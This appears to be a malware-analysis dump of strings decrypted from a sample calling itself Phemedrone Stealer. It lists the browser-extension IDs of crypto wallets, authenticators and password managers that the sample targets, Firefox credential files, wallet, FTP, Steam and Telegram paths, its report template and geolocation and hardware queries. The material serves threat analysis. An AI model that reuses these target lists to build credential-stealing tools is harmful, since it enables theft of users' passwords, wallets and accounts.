Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: TezBox
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Byone
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OneKey
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ilbbpajmiplgpehdikmejfemfklpkmke
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Trust Wallets
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pknlccmneadmjbkollckpblgaaabameg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MetaWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pfknkoocfefiocadajpngdknmkjgakdg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Guarda Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fcglfhcjfpkgdppjbglknafgfffkelnm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Exodus
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: idkppnahnmmggbmfkjhiakkbkdpnmnon
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: JaxxxLiberty
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mhonjhhcgphdphdjcdoeodfdliikapmj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Atomic Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bhmlbgebokamljgnceonbncdofmmkedg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Electrum
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hieplnfojfccegoloniefimmbfjdgcgp
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Mycelium
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pidhddgciaponoajdngciiemcflpnnbg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Coinomi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: blbpgcogcoohhngdjafgpoagcilicpjh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GreenAddress
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: gflpckpfdgcagnbdfafmibcmkadnlhpj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Edge
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: doljkehcfhidippihgakcihcmnknlphh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BRD
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nbokbjkelpmlgflobbohapifnnenbjlh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Samourai Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: apjdnokplgcjkejimjdfjnhmjlbpgkdi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Copay
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ieedgmmkpkbiblijbbldefkomatsuahh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Bread
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: jifanbgejlbcmhbbdbnfbfnlmbomjedj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: KeepKey
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: dojmlmceifkfgkgeejemfciibjehhdcl
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Trezor
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: jpxupxjxheguvfyhfhahqvxvyqthiryh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Ledger Live
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Ledger Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hbpfjlflhnmkddbjdchbbifhllgmmhnm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Bitbox
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ocmfilhakdbncmojmlbagpkjfbmeinbd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Digital Bitbox
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: dbhklojmlkgmpihhdooibnmidfpeaing
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: YubiKey
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mammpjaaoinfelloncbbpomjcihbkmmc
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Google Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: khcodhlfkpmhibicdjjblnkgimdepgnd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Microsoft Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bfbdnbpibgndpjfhonkflpkijfapmomn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Authy
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: gjffdbjndmcafeoehgdldobgjmlepcal
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Duo Mobile
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: eidlicjlkaiefdbgmdepmmicpbggmhoj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OTP Auth
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bobfejfdlhnabgglompioclndjejolch
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FreeOTP
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: elokfmmmjbadpgdjmgglocapdckdcpkn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Aegis Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ppdjlkfkedmidmclhakfncpfdmdgmjpm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: LastPass Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cfoajccjibkjhbdjnpkbananbejpkkjb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Dashlane
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: flikjlpgnpcjdienoojmgliechmmheek
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Keeper
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: gofhklgdnbnpcdigdgkgfobhhghjmmkj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: RoboForm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hppmchachflomkejbhofobganapojjol
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: KeePass
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: lbfeahdfdkibininjgejjgpdafeopflb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: KeePassXC
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kgeohlebpjgcfiidfhhdlnnkhefajmca
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Bitwarden
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: inljaljiffkdgmlndjkdiepghpolcpki
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: NordPass
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: njgnlkhcjgmjfnfahdmfkalpjcneebpl
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: LastPass
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: gabedfkgnbglfbnplfpjddgfnbibkmbb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Nifty Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Math Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Coinbase Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Equal Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoac
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: EVER Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cgeeodpfagjceefieflmdfphplkenlfk
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Jaxx Liberty
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ocefimbphcgjaahbclemolcmkeanoagc
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BitApp Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Mew CX
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GU Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nfinomegcaccbhchhgflladpfbajihdf
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Guild Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nanjmdkhkinifnkgdeggcnhdaammmj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Saturn Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nkddgncdjgifcddamgcmfnlhccnimig
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Harmony Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fnnegphlobjdpkhecapkijjdkgcjhkib
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: TON Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nphplpgoakhhjchkkhmiggakijnkhfnd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OpenMask Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: penjlddjkjgpnkllboccdgccekpkcbin
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MyTonWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fldfpgipfncgndfolcbkdeeknbbbnhcc
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: DeWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pnccjgokhbnggghddhahcnaopgeipafg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: TrustWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: egjidjbpglichdcondbcbdnbeeppgdph
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: NC Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: imlcamfeniaidioeflifonfjeeppblda
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Moso Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ajkifnllfhikkjbjopkhmjoieikeihjb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Enkrypt Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kkpllkodjeloidieedojogacfhpaihoh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CirusWeb3 Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kgdijkcfiglijhaglibaidbipiejjfdp
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Martian and Sui Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: efbglgofoippbgcjepnhiblaibcnclgk
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SubWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Pontem Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: phkbamefinggmakgklpkljjmgibohnba
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Talisman Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Kardiachain Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: pdadjkfkgcafgbceimcpbkalnfnepbnk
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Phantom Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bfnaelmomeimhIpmgjnjophhpkkoljpa
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Oxygen Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fhilaheimglignddjgofkcbgekhenbh
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: PaliWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mgfffbidihjpoaomajlbgchddlicgpn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BoltX Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: aodkkagnadcbobfpggnjeongemjbjca
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Liquality Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kpopkelmapcoipemfendmdghnegimn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: xDefi Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hmeobnffcmdkdcmlb1gagmfpfboieaf
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Nami Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Ipfcbjknijpeeillifnkikgncikgfhdo
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MaiarDeFi Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: dngmlblcodfobpdpecaadgfbeggfjfnm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MetaMask Edge Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ejbalbakoplchlghecdalmeeeajnimhm
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Goblin Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mlbafbjadjidk1bhgopoamemfibcpdfi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Braavos Smart Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: jnlgamecbpmbajjfhmmmlhejkemejdma
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: UniSat Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OKX Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mcohilncbfahbmgdjkbpemcciiolgcge
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Manta Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: enabgbdfcbaehmbigakijjabdpdnimlg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Suku Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fopmedgnkfpebgllppeddmmochcookhc
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Suiet Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: khpkpbbcccdmmclmpigdgddabeilkdpd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Koala Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: lnnnmfcpbkafcpgdilckhmhbkkbpkmid
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ExodusWeb3 Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: aholpfdialjgjfhomihkjbmgjidlcdno
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Aurox Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kilnpioakcdndlodeeceffgjdpojajlo
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Fewcha Move Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ebfidpplhabeedpnhjnobghokpiioolj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Carax Demon Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mdjmfdffdcmnoblignmgpommbefadffd
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Leap Terra Wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: aijcbedoijmgnlmjeegjaglmepbmpkpi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Local Extension Settings
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Extensions/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: /
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: [
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ]/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: PartnerRules
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Last Version
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: .
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Gecko
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Profiles
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: key3.db
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: key4.db
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cookies.sqlite
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: moz_cookies
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: formhistory.sqlite
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: moz_formhistory
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: logins.json
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: encryptedUsername
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: encryptedPassword
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hostname
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: [^ -]
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 1
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: metaData
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: password
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 2A864886F70D010C050103
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ISO-8859-1
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: password-check
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 2A864886F70D01050D
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nssPrivate
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: -
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: *.ini
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: global-salt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Version
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CryptoWallets
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: wallet.dat
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Wallets/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Armory
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Atomic
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: atomic\Local Storage\leveldb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Bytecoin
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bytecoin
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Coninomi
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Coinomi\Coinomi\wallets
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Jaxx
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Electrum\wallets
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Exodus\exodus.wallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Guarda
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Guarda\Local Storage\leveldb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ZCash
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Zcash
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FileZilla
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FileZilla\recentservers.xml
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FileZilla\sitemanager.xml
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FileZilla\
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FTP/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Steam
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ssfn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: \config
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: *.vdf
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Steam/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Software\Valve\Steam
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Apps
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Name
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Unknown
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Name:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GameID:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Steam/Games.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Valve\Steam
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SteamPath
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Discord
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cord
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Telegram
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: HKEY_CLASSES_ROOT\tg\DefaultIcon
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: tdata
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: s
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Messengers/Telegram/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: FileGrabber
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Information
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ,d88b.d88b, 88888888888 Phemedrone Stealer `Y8888888Y' {0:dd/MM/yyyy HH:mm:ss} `Y888Y' Developed by https://t.me/webster480 & https://t.me/TheDyer `Y' Tag: {1} ----- Geolocation Data -----{2,-25}{3}{4,-25}{5} ({6}){7,-25}{8}{9,-25}{10}{11,-25}{12} ----- Hardware Info -----{13,-25}{14}\{15} {16,-25}{17} {18}{19,-25}{20}{21,-25}{22}{23,-25}{24}{25,-25}{26}{27,-25}{28} GB ----- Report Contents -----{29,-25}{30}{31,-25}{32}{33,-25}{34}{35,-25}{36}{37,-25}{38}{39,-25}{40}{41,-25}{42}{43}{44} ----- Miscellaneous -----{45,-25}{46}{47,-25}{48}{49,-25}{50}
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: IP:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ip
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Country:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: country
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: country_code
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: City:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: city
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Postal:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: asn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MAC:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Username:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Windows name:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: x32
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: x64
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Hardware ID:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Screen Resolution:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GPU:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: {0,-25}
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CPU:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: RAM:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Passwords:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Cookies:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Credit Cards:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: AutoFills:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Extensions:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Wallets:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Files:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: {0,-25}{1}
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Passwords Tags:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Cookies Tags:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Antivirus products:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ,
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: File Location:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: unknown
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Clipboard text:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Information.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CiAgICAsZDg4Yi5kODhiLCAgICAKICAgIDg4ODg4ODg4ODg4ICAgIFBoZW1lZHJvbmUgU3RlYWxlcgogICAgYFk4ODg4ODg4WScgICAgRGV2ZWxvcGVkIGJ5IGh0dHBzOi8vdC5tZS93ZWJzdGVyNDgwICYgaHR0cHM6Ly90Lm1lL1RoZUR5ZXIKICAgICAgYFk4ODhZJyAgICAgIAogICAgICAgIGBZJyAgICAgICAgCiAgICAgICAgIAo9PT09PT09PT09PT09PT09PT09PT09TElOS1M9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CkNoYW5uZWw6IGh0dHBzOi8vdC5tZS9mcmVha2NvZGluZ3Nwb3QKQ2hhdDogaHR0cHM6Ly90Lm1lLytUUXRQLXIwQjZYWTBPREk2Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIVdBUk5JTkchIEFMTCBDT0RFIElTIEZPUiBJTlRST0RVQ1RPUlkgUFVSUE9TRVMKV0UgQVJFIE5PVCBSRVNQT05TSUJMRSBGT1IgWU9VUiBBQ1RJT05TICFXQVJOSU5HIQ==
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Phemedrone Stealer Report \\| by @webster480 & @TheDyer``` - IP: {0} ${1}$ - Tag: {2} {3} - Passwords: {4} - Cookies: {5} - Wallets: {6}```{7}{8}@freakcodingspot
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: \.
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: (
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: )
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Passwords Tags:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Cookies Tags:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ]
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: -Phemedrone-Report.zip
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: [UNKNOWN]0.0.0.0-Phemedrone-Report.zip
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: x
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: https://get.geojs.io/v1/ip/geo.json
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: root\SecurityCenter2
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SELECT * FROM AntivirusProduct
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: displayName
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: X2
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: :
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SELECT * FROM Win32_VideoController
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SELECT * FROM Win32_ComputerSystem
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: TotalPhysicalMemory
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 0
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Win32_Processor
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ProcessorId
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Win32_DiskDrive
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SerialNumber
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SELECT * FROM
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: UNKNOWN
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ProductName
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Screenshot
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: user32.dll
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GetDC
